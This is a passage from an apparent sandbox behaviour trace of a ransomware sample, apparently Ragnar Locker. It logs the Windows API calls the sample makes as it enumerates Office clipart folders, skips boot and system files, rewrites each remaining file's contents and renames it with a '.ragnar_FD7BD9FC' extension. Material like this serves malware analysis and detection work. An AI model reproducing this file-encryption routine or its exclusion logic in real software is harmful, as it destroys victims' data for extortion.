lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB00780L.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB01741L.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB01741L.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB02039_.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB02039_.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB02055_.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB02055_.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB02073_.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB02073_.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB02074_.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB02074_.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB02077_.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB02077_.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB02082_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0093.283] lstrcmpiW (lpString1="WB02085_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0093.283] lstrcmpiW (lpString1="WB02097_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0093.283] lstrcmpiW (lpString1="WB02106_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0093.283] lstrcmpiW (lpString1="WB02116_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0093.283] lstrcmpiW (lpString1="WB02134_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0093.283] lstrcmpiW (lpString1="WB02187_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02187_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0093.283] lstrcmpiW (lpString1="WB02198_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02198_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0093.283] lstrcmpiW (lpString1="WB02201_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02201_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0093.283] lstrcmpiW (lpString1="WB02214_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02214_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0093.283] lstrcmpiW (lpString1="WB02218_.GIF", lpString2=".") returned 1 [0093.283] lstrcmpiW (lpString1="WB02218_.GIF", lpString2="..") returned 1 [0093.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0093.283] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0093.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89d65b60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0093.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89d65b60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0093.284] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.284] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143743.GIF" | out: lpString1="J0143743.GIF") returned="J0143743.GIF" [0093.284] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF") returned=".GIF" [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="autorun.inf") returned 1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="boot.ini") returned 1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="bootfont.bin") returned 1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="bootsect.bak") returned 1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="bootmgr") returned 1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="bootmgr.efi") returned 1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="bootmgfw.efi") returned 1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="desktop.ini") returned 1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="iconcache.db") returned 1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="ntldr") returned -1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="ntuser.dat") returned -1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="ntuser.dat.log") returned -1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="ntuser.ini") returned -1 [0093.284] lstrcmpiW (lpString1="J0143743.GIF", lpString2="thumbs.db") returned -1 [0093.284] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.284] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.284] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.284] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.284] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.284] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.284] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif")) returned 0x20 [0093.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.285] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3959) returned 1 [0093.285] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xf6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.285] GetProcessHeap () returned 0x580000 [0093.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.285] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.286] VirtualAlloc (lpAddress=0x0, dwSize=0xf77, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.287] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.287] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.287] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf77, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xf77, lpOverlapped=0x0) returned 1 [0093.287] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.287] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf77, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.287] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf77, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xf77, lpOverlapped=0x0) returned 1 [0093.287] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf77, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.287] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.287] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xf77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.287] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.287] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.288] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.288] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.288] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.288] GetProcessHeap () returned 0x580000 [0093.288] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.288] CloseHandle (hObject=0x104) returned 1 [0093.288] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" [0093.288] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.ragnar_FD7BD9FC" [0093.288] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.289] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0093.289] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.289] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143744.GIF" | out: lpString1="J0143744.GIF") returned="J0143744.GIF" [0093.289] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF") returned=".GIF" [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="autorun.inf") returned 1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="boot.ini") returned 1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="bootfont.bin") returned 1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="bootsect.bak") returned 1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="bootmgr") returned 1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="bootmgr.efi") returned 1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="bootmgfw.efi") returned 1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="desktop.ini") returned 1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="iconcache.db") returned 1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="ntldr") returned -1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="ntuser.dat") returned -1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="ntuser.dat.log") returned -1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="ntuser.ini") returned -1 [0093.289] lstrcmpiW (lpString1="J0143744.GIF", lpString2="thumbs.db") returned -1 [0093.289] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.289] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.289] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.289] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.289] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.290] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.290] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif")) returned 0x20 [0093.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), 